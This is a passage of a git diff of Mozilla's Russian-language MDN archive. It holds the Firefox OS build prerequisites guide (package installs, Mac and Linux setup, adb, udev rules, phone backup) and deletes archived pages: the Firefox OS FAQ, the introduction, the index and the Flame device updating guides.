Для сборки на Linux Вам требуется следующая конфигурация:

- -

Это более чем необходимый минимум, но иногда сборка падает тупо по причине нехватки ресурсов.

-

Вам потребуются также следующие предустановленные инструменты:

- -

Примеры 64-битной инсталляции:

-

Ubuntu 12.04 / Linux Mint 13 / Debian 6

-
$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip
-

При сборке на 64-битной Ubuntu Вам может потребоваться добавить симлинки на 32-битные версии libX11.so и libGL.so:

-
$ sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
-$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so
-

Ubuntu 12.10

-
$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip
-

Дополнительно к описанным выше шагам по фику косяков с 32-битными версиями libX11.so и libGL.so библиотек, после скачивания исходников Вам также придётся также прописать GCC 4.6 как дефолтный компилятор (default host compiler), см. здесь как это сделать.

-

На свежей инсталляции Ubuntu 12.10 вываливается ошибка по поводу неудовлетворённых зависимостей для ia32-libs. Лечится так:

-
sudo dpkg --add-architecture i386
-sudo apt-get update
-sudo apt-get install ia32-libs
-

Ubuntu 13.04

-
$ sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip
-

Все прочие инструкции для предыдущих версий остаются в силе.

-

Fedora 17/18:

-
$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip perl-Digest-SHA
-

Дополнительно для компиляции проекта Вам потребуется GCC 4.4. Прекомпилированную версию можно найти здесь. Скачайте её и проинсталлируйте в /opt следующим образом:

-
$ wget http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz
-$ sudo tar -x -a -C /opt -f gcc-4.4.7-bin.tar.xz
-
-

После скачивания исходников нужно будет указать данный компилятор как дефолтный (default host compiler), см. здесь как это сделать.

-

Arch Linux:

-
$ sudo pacman -S --needed alsa-lib autoconf2.13 bison ccache curl firefox flex gcc-multilib git gperf libnotify libxt libx11 mesa multilib-devel wget wireless_tools yasm zip lib32-mesa lib32-mesa-libgl lib32-ncurses lib32-readline lib32-zlib
-

По умолчанию Arch Linux использует Python3. Вам придётся заставить его использовать старый добрый python2:

-
$ cd /usr/bin
-
-$ sudo ln -fs python2 python
-

Системные требования для Mac OS X

-

Для сборки Firefox OS на Mac OS X Вам нужно установить Xcode's Command Line Utilities.

-

Можно загрузить только Command Line Utilities с Apple's developer downloads page для Вашей версии OS X.

-

Впрочем, если Вам нравится использовать полный пакет Xcode при разработке приложений, можете install Xcode из Mac App Store.

-

Установка Command Line Utilities через XCode 4.3.1 и выше

-

Xcode 4.3.1 (OS X 10.7 "Lion") и прочие более новые версии такие, как 4.4.1+ (т.е., Mac OS X10.8 "Mountain Lion"), не обязательно включают в свою дефолтную установку Command Line Utilities. После установки Xcode не поленитесь зайти в Preferences, оттуда в Downloads и установить Command Line Utilities. Убедитесь, что у Вас есть не менее 20 GB свободного дискового пространства.

-

Screenshot of Xcode Downloads Command Line Tools

-
- Примечание: Эмулятор Firefox OS требует процессора Core 2 Duo или мощнее; т.е., система должна быть совместима с Mac OS X 10.7 "Lion." И хотя Вам не обязательно запускать Lion, Вам просто нужно быть с ним совместимым. Впрочем, Вы можете собрать любой Firefox OS билд на большинстве более старых Маков.
-

Firefox OS Mac Bootstrap

-

В терминале запустите следующую команду:

-
curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash
-

Она вытянет и запустит bootstrap-скрипт, который проверит все необходимые для сборки эмулятора зависимости. Он также запросит Ваше разрешение на инсталляцию любого отсутствующего компонента. Скрипт проверяет наличие в системе следующих вещей:

- -
-

Xcode

-

Если Вы уже обновили Xcode до версии 4.4+ но всё равно получаете сообщение о том, что Ваша версия Xcode слишком стара, проверьте Xcode path:

-
xcode-select -print-path
- Если он всё ещё указывает на /Developer, отредактируйте path: -
sudo xcode-select -switch /Applications/Xcode.app
- Следующее, в чём нужно убедиться, - наличие Mac OS X 10.6 SDK: -
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/
-

При отсутствии SDK в указанном месте придётся вытащить и скопировать его из архива Xcode 4.3 DMG, который можно взять на портале Apple Developer. Для извлечения 10.6 SDK из архива можно воспользоваться утилитой Pacifist. Не забудьте создать симлинк на него в директории /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/. (После фикса bug 784227 этот шаг можно будет пропустить, и наша версия platform_build has been updated.)

-

Чувствительность к регистру файловой системы Mac

-

По умолчанию Mac OS X поставляется с файловой системой, нечувствительной к регистру текста. Проблема в том, что в ядре Linux присутствует некоторое количество файлов с одинаковыми названиями, отличающихся только регистром букв.  См., например, заголовочные файлы xt_CONNMARK.h и xt_connmark.h.  В итоге в /kernel модифицируется изрядное количество файлов после ./config.sh.

-

Несмотря на это, в большинстве случаев сборка может пройти успешно. Однако, на некоторых платформах Вы можете столкнуться со следующей ошибкой:

-
ERROR: You have uncommited changes in kernel
-You may force overwriting these changes
-with |source build/envsetup.sh force|
-
-ERROR: Patching of kernel/ failed.
-

См. дальнейшие дискуссии и возможные решения данной проблемы в bug 867259.

-

В качестве альтернативного решения всегда можно безопасно собрать и на файловой системе, чувствительной к регистру. Самый простой способ - создать отдельный монтируемый образ диска с нечувствительной к регистру файловой системой. Можно воспользоваться приложением Apple's Disk Utility из командной строки:

-
hdiutil create -volname 'firefoxos' -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.sparseimage
-

Подмонтируйте диск:

-
open ~/firefoxos.sparseimage
-

Перейдите на смонтированный диск:

-
cd /Volumes/firefoxos/
-

Теперь можно скачать исходный код и начать его компиляцию, не беспокоясь о проблеме чувствительности к регистру.

-

Mountain Lion

-
-

При сборке на OS X 10.8 "Mountain Lion" (Xcode 4.4.1 или выше) может вывалиться следующая ошибка:

-
external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)
- Отредактируйте файл: B2G/external/qemu/Makefile.android в строке 78:
-
MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
-
-
- Также на Mountain Lion в процессе инсталляции зависимостей через homebrew может вывалиться и такая ошибка:
-
-
-
-
clang: error: unable to execute command: Segmentation fault: 11
- ... в таком случае попробуйте переустановить зависимости, выставив флаг --use-gcc flag, например: -
brew install mpfr --use-gcc
-
-

Samsung Galaxy S2

-

Для сборки на Samsung Galaxy S2 нужно установить heimdall. См. {{ anch("Установка heimdall") }}. Bootstrap-скрипт этого не сделает за Вас!

-
- Примечание: Если у Вас установлен Samsung Kies, используемый для контент-менеджмента на многих телефонах Samsung, придётся его удалить перед инсталляцией Firefox OS на Ваше устройство. Под Windows можно использовать стандартную процедуру деинсталляции; на Mac специальная утилита для удаления содержится на инсталляционном образе диска Kies. Flashing не будет работать с установленным Kies. Если Вы забудете удалить Kies перед сборкой, система сборки это заметит и напомнит Вам о необходимости его удаления. Обратите внимание, что утилита удаления не удаляет корректно папку ~/Library/Application Support/.FUS, и оставляет ссылку на неё в пользовательском меню. Всё это придётся удалить вручную.
-

Починка libmpc зависимости (если сломана)

-

gcc 4.6 изначально собран с libmpc 0.9; если для апдейта пакетов Вы используете homebrew, libmpc обновится до версии 1.0, но homebrew не пересоберёт gcc 4.6 после апдейта этой библиотеки. Так что придётся создать симлинк, чтобы всё снова заработало:

-
cd /usr/local/lib/
-ln -s libmpc.3.dylib libmpc.2.dylib
-

По желанию: Установка HAX

-

Intel поставляет специальный драйвер, позволяющий B2G вместо эмуляции кода запускать его нативно на Mac, если Вы используете эмулятор x86. При желании можете скачать и установить этот драйвер. Это не обязательно, но может повысить производительность и стабильность работы эмулятора.  

-

Перед инсталляцией HAX нужно установить Android SDK.

-

Установка adb

-

При сборке B2G понадобятся некоторые бинарные файлы из ОС Android, установленной на телефоне (если, конечно, Вы не собираете в эмуляторе). Для того, чтобы получить эти файлы, нужен adb, Android Debug Bridge.

-

Установите Android SDK starter package для Вашей платформы (Вам нужен ADT Bundle, а не опция SDK Tools Only). Затем запустите менеджер пакетов, $SDK_HOME/tools/android, и используйте GUI для инсталляции "Android SDK Platform-tools".

-

adb устанавливается в $SDK_HOME/platform-tools. Не забудьте добавить эту директорию в PATH в файле ~/.bashrc или аналогичном:

-
PATH=$SDK_HOME/platform-tools:$PATH
-

где $SDK_HOME - фактическое место расположения android sdk.

-

Установка heimdall

-

Heimdall - это утилита для flashing Samsung Galaxy S2. Она используется при Boot to Gecko flash utility для замещения контента телефона с Firefox OS, а также для flash updated versions of B2G and Gaia onto the device. Вам потребуется эта утилита, если Вы хотите установить Firefox OS на Galaxy S2; она не нужна для любых других устройств. Для всех прочих устройств используется утилита fastboot.

-
- Примечание: Опять же, важно отметить, что это требуется только для установки Firefox OS на Samsung Galaxy S2.
-

Установить heimdall можно двумя способами:

- -

Конфигурирование ccache

-

По умолчанию размер кэша для ccache равен 1GB; сборка B2G легко первышает этот порог. Изменить размер кэша можно таким образом:

-
$ ccache --max-size 3GB
-

Настройка udev rule для Вашего телефона

-

Чтобы узнать USB vendor ID, запустите lsusb, но, как правило, это 18d1 для Google, 04e8 для Samsung, 19d2 для ZTE, 05c6 для Qualcomm, таким образом, все вопросы в данном случае решаются добавлением такой строки в /etc/udev/rules.d/android.rules (создайте этот файл, если его еще нет, заменив XXXX нужным ID):

-
SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"
-

Например, для ZTE содержимое android.rules будет следубщим:

-
SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", MODE="0666", GROUP="plugdev"
-

Закончив редактирование файла и сохранив изменения, выставьте ему права на чтение:

-
$ sudo chmod a+r /etc/udev/rules.d/android.rules
-
-

Теперь можно проверить, выведется ли список устройств командой adb:

-
$ adb devices
-List of devices attached
-123456          device
-

Если устройство не обнаружено, убедитесь, что имя файла и скрипта корректны, после чего перезагрузите компьютер и снова введите команду adb. Имейте в виду, что, если Вы используете fastboot, загрузчик может идентифицироваться с другим vendor ID, нежели используется при нормальной загрузке устройства.

-

Переведите телефон в developer mode

-

Прежде, чем подключить телефон к USB порту, переведите его в  USB developer mode. Это позволит отлаживаться на телефоне и flash the phone. Для перевода в этот режим: Settings app -> Device information -> Mode Information -> Developer -> (enable) Developer mode

-

Архивация системного раздела телефона

-

Рекомендуеься предварительно сделать архивную копию всего системного раздела с Android. В таком случае позже Вы всегда сможете вернуться к старой операционной системе после удаления B2G. Для архивации запустите:

-
adb pull /system <backup target dir>/system
-
-

В зависимости от модели телефона, может также потребоваться:

-
adb pull /data <backup target dir>/data
-adb pull /vendor <backup target dir>/vendor
-
-

Если цказанная команда вывалит ошибку "insufficient permission", попробуйте следующее:

- -

Что дальше?

-

А вот теперь можно получить код Firefox OS!

diff --git a/files/ru/archive/b2g_os/firefox_os_faq/index.html b/files/ru/archive/b2g_os/firefox_os_faq/index.html deleted file mode 100644 index 7310f9bdaf..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_faq/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Firefox OS FAQ -slug: Archive/B2G_OS/Firefox_OS_FAQ -translation_of: Archive/B2G_OS/Introduction ---- -
-
- Как я могу получить developer preview телефон?
-
- Они скоро будут доступны на сайте Geeksphone.
-
- Если я не желаю покупать телефон, могу ли я разрабатывать приложение для ОС Firefox?
-
- Конечно! Вы можете тестировать ваше приложение на Андроиде  (используя Marketplace for Firefox) или на своем компьютере, используя симулятор ОС Firefox.
-
- Как это сопоставимо с финальной версией телефона?
-
- Мы работаем с несколькими партнерами в направлении вывода телефона на потребительских рынок. О наших устройствах мы будем говорить чуть позднее.
-
- Где я могу скачать ОС Firefox для пробы на своем собственном телефоне?
-
- https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS
-
- Каким образом я могу протестировать мое приложение на ОС Firefox?
-
- На Андроиде или с помощью симулятора ОС Firefox OS.
-
- Что представляет собой ОС Firefox?
-
- A. Это новая мобильная операционная система, созданная с использованием исключительно открытых веб-стандартов. В ней все функции современных мобильных устройств (звонки, переписка, браузер и т.д.) представляют собой приложения, написанные на языке HTML5, которые могут получить доступ к основным возможностям телефона (которые доступны только для собственных приложений в других программных экосистемах).
-
- Каков полный список Web API? Вы будете потом все это стандартизировать?
-
- Огромное количество Web APIs будет поддерживаться в первоначальной реализации ОС Firefox. Полный список можете найти на https://wiki.mozilla.org/WebAPI#APIs. Стандартизация продолжается.
-
- Ваши Web APIs стандартизированы для кросс-платформенного использования?
-
- Да,  API являются результатом работы с несколькими партнерами и производителями, и некоторые из них уже окончены на других платформах. Предоставление веб-приложениям доступа к аппаратной части устройств наших конечных пользователей является проблемой практически каждой технологической компании, которая с этим сталкивается, и наши предложения являются хорошей отправной точкой для того, чтобы это происходило на большом количестве платформ.
-
diff --git a/files/ru/archive/b2g_os/index.html b/files/ru/archive/b2g_os/index.html deleted file mode 100644 index 55d407f572..0000000000 --- a/files/ru/archive/b2g_os/index.html +++ /dev/null @@ -1,225 +0,0 @@ ---- -title: B2G OS -slug: Archive/B2G_OS -tags: - - Firefox OS - - Gaia - - Начальная FirefoxOS -translation_of: Archive/B2G_OS ---- -
-

Firefox OS — мобильная операционная система, разработанная компанией Mozilla, основанная на ядре Linux и мощном движке рендеринга Firefox's Gecko.

-
- -
-

Firefox OS — это программное обеспечение с открытым исходным кодом, позволяющее разработчикам создавать сложные приложения для конечных пользователей используя всю мощь и гибкость Web-технологий. Весь интерфейс это веб-приложение, способное запускать и отображать другие приложения. Приложения для Firefox OS создаются с использованием HTML, CSS и JavaScript, при этом они имеют доступ к оборудованию и сервисам устройства через интерфейс программирования приложений (API).

- -

С точки зрения развития продукта, Firefox OS — это сервис поддержки и продвижения Mozilla (и наших OEM-партнёров), основанный на операционной системе с кодовым именем Boot to Gecko (B2G). Boot to Gecko разработана командой инженеров Mozilla и многочисленными независимыми разработчиками обширного сообщества открытого кода Mozilla.

-
- -
-

Создание приложений для Firefox OS

- -

Посетите наш Центр приложений для получения подробной информации о способах создания открытых веб-приложений, которые можно установить в Firefox OS!

-
- -
-
-

Руководства

- -

Руководства для разработчиков, описывающие как соединить различные компоненты Firefox OS в одно целое.

- - -
- -
-

Сборка и установка

- -

Руководство по сборке и установке Firefox OS на эмулятор, совместимые устройства или десктопный симулятор.

- - -
- -
-

Смартфоны для разработчиков

- -

Информация о конкретных смартфонах для разработчиков: настройка, обновление, восстановление и покупка.

- - -
-
- -
-
-

Книги по Firefox OS

- -

Есть и создаётся несколько книг о разных аспектах разработки для Firefox OS development. Подробности — на сайте Firefox OS Books.

-
- - -
- -
-

Примечание: Мы отслеживаем процесс работы над документацией Firefox OS на нашей странице состояния документации Firefox OS. Если вы хотите помочь в подготовке документации к Firefox OS, пожалуйста посетите страницу, чтобы увидеть, что нуждается во внимании!

-
- -

Навигация

- -
    -
  1. Введение в ОС Firefox
  2. -
  3. Platform guide -
      -
    1. Platform guide overview
    2. -
    3. Architecture overview
    4. -
    5. Apps architecture
    6. -
    7. Gonk
    8. -
    9. Gecko
    10. -
    11. Gaia
    12. -
    13. Gaia apps guide
    14. -
    15. Security -
        -
      1. The Firefox OS security model
      2. -
      3. System security
      4. -
      5. Application security in Firefox OS
      6. -
      7. Securely installing and updating applications
      8. -
      -
    16. -
    17. Out of memory management on Firefox OS
    18. -
    19. Feature support chart
    20. -
    21. Settings list
    22. -
    -
  4. -
  5. Build and install -
      -
    1. Build and install overview
    2. -
    3. Firefox OS build process summary
    4. -
    5. Build prerequisites
    6. -
    7. Preparing for your first build
    8. -
    9. Building Firefox OS
    10. -
    11. Building Firefox OS for flame on OSX
    12. -
    13. Choosing how to run Gaia or Firefox OS
    14. -
    15. Building the Firefox OS simulator
    16. -
    17. Using the Firefox OS emulators
    18. -
    19. Installing Firefox OS on a mobile device
    20. -
    21. Creating and applying Firefox OS update packages
    22. -
    23. Building and installing FOTA community builds
    24. -
    25. B2G build variables reference sheet
    26. -
    27. Runtime tools
    28. -
    -
  6. -
  7. Developing Firefox OS -
      -
    1. Developing Firefox OS overview
    2. -
    3. Filing bugs against Firefox OS
    4. -
    5. Modifying the hosts file
    6. -
    7. Customization with the .userconfig file
    8. -
    9. Customizing the b2g.sh script
    10. -
    11. Porting Firefox OS
    12. -
    -
  8. -
  9. Developing Gaia -
      -
    1. Developing Gaia overview
    2. -
    3. Running the Gaia codebase
    4. -
    5. Understanding the Gaia codebase
    6. -
    7. Making Gaia code changes
    8. -
    9. Testing Gaia code changes
    10. -
    11. Submitting a Gaia patch
    12. -
    13. Gaia build system primer
    14. -
    15. Customizing build-time apps
    16. -
    17. Market customizations guide
    18. -
    19. Customizing the keyboard in Firefox OS apps
    20. -
    21. Localizing Firefox OS
    22. -
    23. L10n Best Practices
    24. -
    25. Make options reference
    26. -
    27. Gaia tools reference
    28. -
    -
  10. -
  11. Firefox OS phone guide -
      -
    1. Firefox OS phone guide overview
    2. -
    3. Phone and device specs
    4. -
    5. Geeksphone
    6. -
    7. ZTE OPEN
    8. -
    9. ZTE OPEN C
    10. -
    11. Flame
    12. -
    13. General device features
    14. -
    15. Troubleshooting
    16. -
    17. Best practices for open reference devices
    18. -
    -
  12. -
  13. Firefox OS on TVs and connected devices
  14. -
  15. Firefox OS release notes -
      -
    1. Firefox OS release notes overview
    2. -
    3. Firefox OS 2.2 for developers
    4. -
    5. Firefox OS 2.1 for developers
    6. -
    7. Firefox OS 2.0 for developers
    8. -
    9. Firefox OS 1.4 for developers
    10. -
    11. Firefox OS 1.3 for developers
    12. -
    13. Firefox OS 1.2 for developers
    14. -
    15. Firefox OS 1.1 for developers
    16. -
    17. Firefox OS 1.0.1 for developers
    18. -
    -
  16. -
  17. Automated testing -
      -
    1. Firefox OS automated testing overview
    2. -
    3. Running tests on Firefox OS: A guide for developers
    4. -
    5. Gaia UI tests
    6. -
    7. Gaia integration tests
    8. -
    9. Gaia unit tests
    10. -
    11. Gaia performance tests
    12. -
    13. Mochitests
    14. -
    15. Reftests
    16. -
    17. WebAPI tests
    18. -
    19. xpcshell tests
    20. -
    21. MTBF test
    22. -
    23. Marionette
    24. -
    25. Treeherder
    26. -
    27. Jenkins
    28. -
    -
  18. -
  19. Debugging -
      -
    1. Firefox OS debugging overview
    2. -
    3. Developer settings for Firefox OS
    4. -
    5. Connecting a Firefox OS device to the desktop
    6. -
    7. Setting up to debug Firefox OS using Firefox developer tools
    8. -
    9. On-device console logging
    10. -
    11. Installing and using ADB
    12. -
    13. Taking screenshots
    14. -
    15. Using the WebIDE
    16. -
    17. Using the App Manager
    18. -
    19. Firefox OS crash reporting
    20. -
    21. Debugging out of memory errors on Firefox OS
    22. -
    23. Debugging and security testing with Firefox OS
    24. -
    25. Debugging B2G using gdb
    26. -
    27. Debugging B2G using Valgrind
    28. -
    -
  20. -
diff --git a/files/ru/archive/b2g_os/introduction/index.html b/files/ru/archive/b2g_os/introduction/index.html deleted file mode 100644 index 48450f392a..0000000000 --- a/files/ru/archive/b2g_os/introduction/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Введение в ОС Firefox -slug: Archive/B2G_OS/Introduction -translation_of: Archive/B2G_OS/Introduction ---- -

Firefox OS (также известная под рабочим названием "Boot to Gecko" или "B2G") является мобильной операционной системой с открытым исходным кодом, базирующейся на Linux и Gecko, от Mozilla. Идея проекта состоит в том, чтобы всё доступное программное обеспечение на мобильном устройстве запускалась как веб-приложение, используя новшества HTML5 и API устройства для прямого взаимодействия с аппаратными средствами посредством javascript.

- -

For Web developers, the most important part to understand is that the entire user interface is a Web app, one that is capable of displaying and launching other Web apps. Any modifications you make to the user interface and any applications you create to run on Firefox OS are Web pages, albeit with enhanced access to the mobile device's hardware and services.

- -

You can learn how to build and install Firefox OS by following our handy guide.

- -

Usage tips

- -

This section provides some tips that will help you actually use Firefox OS. This is something of a placeholder until we have real usage documentation. 

- -

Разблокировка телефона

- -

If your build of Firefox OS starts up asking for a pass code to unlock the device, the default code is 0000. Some builds will do this while we develop and test the lock screen.

- -

Создание снимка экрана

- -

На данный момент невозможно сделать скриншот через устройство на ОС Firefox. Но вы можете сделать это через терминал из ОС Linux или компьютера с Mac OS X с установленными инструментами для сборки приложений под ОС Firefox.

- -
    -
  1. Убедитесь, что у вас установлен ffmpeg. -
      -
    1. На Mac, если вы используете MacPorts, то вы можете его установить с помощью команды sudo port install ffmpeg. Для homebrew, пропишите brew install ffmpeg.
    2. -
    3. В Linux (Ubuntu/Debian), используйте команду sudo apt-get install ffmpeg.
    4. -
    -
  2. -
  3. Соедините ваш телефон к ПК через USB кабель.
  4. -
  5. Выберите приложение, которое вы хотите заснять.
  6. -
  7. cd в папку B2G/gaia .
  8. -
  9. make screenshot
  10. -
  11. Теперь у вас есть скриншот названный screenshot.png.
  12. -
diff --git a/files/ru/archive/b2g_os/phone_guide/flame/index.html b/files/ru/archive/b2g_os/phone_guide/flame/index.html deleted file mode 100644 index 2df8a12f65..0000000000 --- a/files/ru/archive/b2g_os/phone_guide/flame/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Flame -slug: Archive/B2G_OS/Phone_guide/Flame -tags: - - Firefox OS - - Flame - - NeedsTranslation - - TopicStub - - developer phone - - official reference device -translation_of: Archive/B2G_OS/Phone_guide/Flame ---- -

A picture of the Flame device, showing the Firefox OS homescreen containing several app icons.

- -

The Flame device is the official reference device for developing, testing, and debugging Firefox OS and open web apps. This guide provides basic information about its hardware specifications as well as practical documentation specific to experimenting with, developing for, and testing of software compatible with this phone.

- -

The Flame hardware offers a representative set of specs — including FWVGA display and dual-core processor — to help developers build great content and experiences. A stable hardware platform is also good for testers, making it easier to test and address specific software issues without having to worry about device model-specific bugs, etc.

- -

If you have your phone in hand and want to start playing with it, developing and distributing apps, or contributing to the Firefox platform, the following links will also get you where you need to go:

- - - -

If you’d like to find out more about updating the operating system, recovering it, pushing apps to it, or phone specs, you’ll find the information you need at the following two articles :

- - - -

Get a device

- -

Flame sales have come to an end. There are still opportunities left for Mozilla contributors to get free Flames, including the upcoming Foxtrot program. If you have questions about getting a device for development or testing, please reach out to Asa Dotzler on the #fxos channel on IRC.

- -

Device specifications

- -

You can find more of the device specifications listed on our Phone and device specs page.

- -

Network

- - - -

Hardware

- - - -

See also

- - diff --git a/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html b/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html deleted file mode 100644 index 0ea139aaca..0000000000 --- a/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html +++ /dev/null @@ -1,506 +0,0 @@ ---- -title: Updating your Flame -slug: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flam -translation_of: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flame ---- -

 

- -

- -
-

This article covers how to update the software on your Flame — including updating Firefox OS and pushing new apps to your phone — along with backing up your data, and other useful troubleshooting and testing information. Before starting to do any of this, you should make sure you have run through the Initial setup information.

-
- -

Quick guide to updating your device

- -

There is a lot of information in this article, so here we've included a quick start guide that takes you through the steps you need quickly to get your device updated. You can refer to the below sections for more detail if it is needed.

- -

Full flash to the latest base image

- -

This set of steps needs to be done before you do anything else to your phone (see Base image and Base image installation if you require more details.)

- -
Prerequisites: Make sure you have adb and fastboot installed and available in your system's PATH (see Installing ADB and Fastboot.)
- -
    -
  1. Download the latest base image —Base image v18D_nightly_v5to your computer.
  2. -
  3. On your Flame device, enable remote debugging by navigating to Settings > Developer and enabling the Debugging via USB option.
  4. -
  5. Connect your Flame to your computer via a USB cable.
  6. -
  7. Verify that the computer is connected to the device by typing this command: -
    adb devices  
    -
    - You should see something like the following: - -
    List of devices attached
    -94f7ce4c    device
    - If you don't see your device attached (no second line), then try unplugging and replugging the USB cable and trying again; also check that Debugging via USB is enabled on the phone as mentioned in step 2. If you get a message saying that adb could not be found, you probably haven't set your path correctly (see prerequisites.)
  8. -
  9. Extract the base image zip file and navigate to the new directory, using for example: -
    cd v18D_nightly_v5
    -
  10. -
  11. Run the flashing script by running the correct below command for your system -
    # Windows
    -flash.bat
    -
    -# Linux / OSX
    -./flash.sh
    -
  12. -
- -
-

Note: if you don't see the right filename for your system, you can rename flash.bat or flash.sh back and forth as needed. The contents are the same.

-
- -
-

Note: Verify the contents of the base image using the checksum below:

- -
Checksum: SHA512(v18D_nightly_v5.zip)= f92123446f71289dd0ea23b0c602f8a192267fbfcf2f25682cbc072f8bbe3e8b795aea3305ba6ea6cc504d252f1d895b07704b5b65700fcf3760e1386b89c431
-Build id: 20151221215202
-
-
- -

At this point you should be on the latest 2.6 base image, and be able to receive FOTA updates.

- -
-

Note: if you want to be on the very latest builds of flame (that have not been smoke tested), go to settings -> developer, scroll down to the bottom, and change the channel to nightly-latest.  Reboot the device, then go back to settings -> device info and check for updates.  You can update to the latest version without having to shallow flash.  For shallow flashing see the next section.

-
- -

Update channel reset bug

- -

As mentioned in баг 1217490, some Firefox OS testers testing Firefox OS 2.5 or the latest FOTA updates (on Flame, but also on other dogfooding devices) may find that when they install a FOTA update, their update channel is reset to nightly, meaning that they won’t receive subsequent FOTA updates coming through other channels. To avoid this, it is recommended that you set your update channel to nightly-latest in the Firefox OS settings via WebIDE. To do this:

- -
    -
  1. Plug your phone into your computer via USB (make sure Debugging via USB is set to ADB and DevTools in the Phone's Developer Settings.)
  2. -
  3. Go to Firefox Desktop and open WebIDE.
  4. -
  5. Connect WebIDE to your phone by selecting it under USB Devices. Accept the connection prompt that appears on your phone.
  6. -
  7. Under Other on the right hand side of the WebIDE UI, select Device Settings.
  8. -
  9. Find app.update.channel in the list, and change the setting value in the corresponding textbox to nightly-latest.
  10. -
  11. Find app.update.channel.backup and change the setting value to nightly-latest if you want it to persist after further updates.
  12. -
- -

Shallow Flash to the latest Firefox OS nightly (Gaia and Gecko)

- -

This set of steps only needs to be done if you want to update to the VERY latest builds (see Updating your Flame to a nightly build if you require more details.)

- -
Prerequisites: Windows users will need to install Cygwin, which provides a Linux-like environment on Windows. The instructions below include steps for how to automatically install the appropriate packages if you don't already have it installed.
- -
 
- -
    -
  1. Download the latest build from Mozilla Central.  Download both the b2g-XX.XX.en-US.android-arm.tar.gz and gaia.zip files.
  2. -
  3. All platforms: Download the shallow flash script in the same directory as the build files.
  4. -
  5. Windows users: Also download the shallow_flash.bat Windows script in the same directory. If you don't already have Cygwin installed, also download the installation file (you don't have to run it, the shallow_flash.bat script will use the installer to automatically configure the necessary packages).
  6. -
  7. In your terminal, cd into the directory you saved the files in and flash the builds to your phone using the following: -
    # Linux
    -./shallow_flash.sh --gaia=gaia.zip --gecko=b2g-XX.XX.en-US.android-arm.tar.gz
    -
    -# Mac
    -./shallow_flash.sh --gaia gaia.zip --gecko b2g-XX.XX.en-US.android-arm.tar.gz
    -
    -# Windows
    -# You could also double click the shallow_flash.bat icon (with the cogs) from Windows Explorer.
    -shallow_flash.bat
    -
  8. -
- -

This process will flash gaia.zip and a single b2g-XX.XX.en-US.android-arm.tar.gz file onto your phone. The files will be sent to the device and it will reboot after the process completes.

- -
-

Note : On Linux, if the script fails during flashing Gaia, you can try replacing full options by their shortened version to see if that helps. Replace --gaia=gaia.zip by -g gaia.zip and --gecko=b2g-XX.XX.en-US.android-arm.tar.gz by -G b2g-XX.XX.en-US.android-arm.tar.gz.

-
- -

Updating & upgrading the Flame's software

- -

We have two main "channels" of Firefox OS software version releases for the Flame phone:

- - - -

Base Image

- -

You can get recovery files and tools at the following storage locations:

- -

Up-to-date (use these unless you have a good reason not to)

- - - -
-

Note: You can find out what base image your device is running using the command adb shell getprop ro.bootloader. The version is the last four characters, with the last one then removed, prefixed by 'v' (e.g. L1TC000118D0 > v18D).

-
- -
-

Important: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the Backing up and restoring your Flame data section for more details.

-
- -

Outdated

- -

These base images are stable & production only.

- - - -
-

Note: Using a locale with base image v188 produces a mixed UI with locale and English languages.

-
- -
-

Note: Firefox OS images v180 and above are based on Android KK (Kitkat, 4.4); JB (Jellybean, 4.1–4.3) builds have now been discontinued and are no longer supported, so don't use anything older than v180.

-
- -

Base Image installation

- -

To install the base image on your device:

- -
    -
  1. Make sure remote debugging is enabled on your Flame, using the Remote debugging/Debugging via USB option in the device's Developer settings (the option is different, depending on whether you have Firefox 1.3 and under, or Firefox 1.4+ installed).
  2. -
  3. Connect your Flame to your computer via a USB cable if it isn't already. Verify that the computer is connected to the device by running the adb devices command in a terminal.
  4. -
  5. Download the base image .zip file referenced above. Unzip it onto your Desktop.
  6. -
  7. Go into the directory you extracted the software into and run it: -
      -
    • On Windows, enter the directory in your command prompt, then run the flash.bat script using flash.bat (or double click the file in explorer).
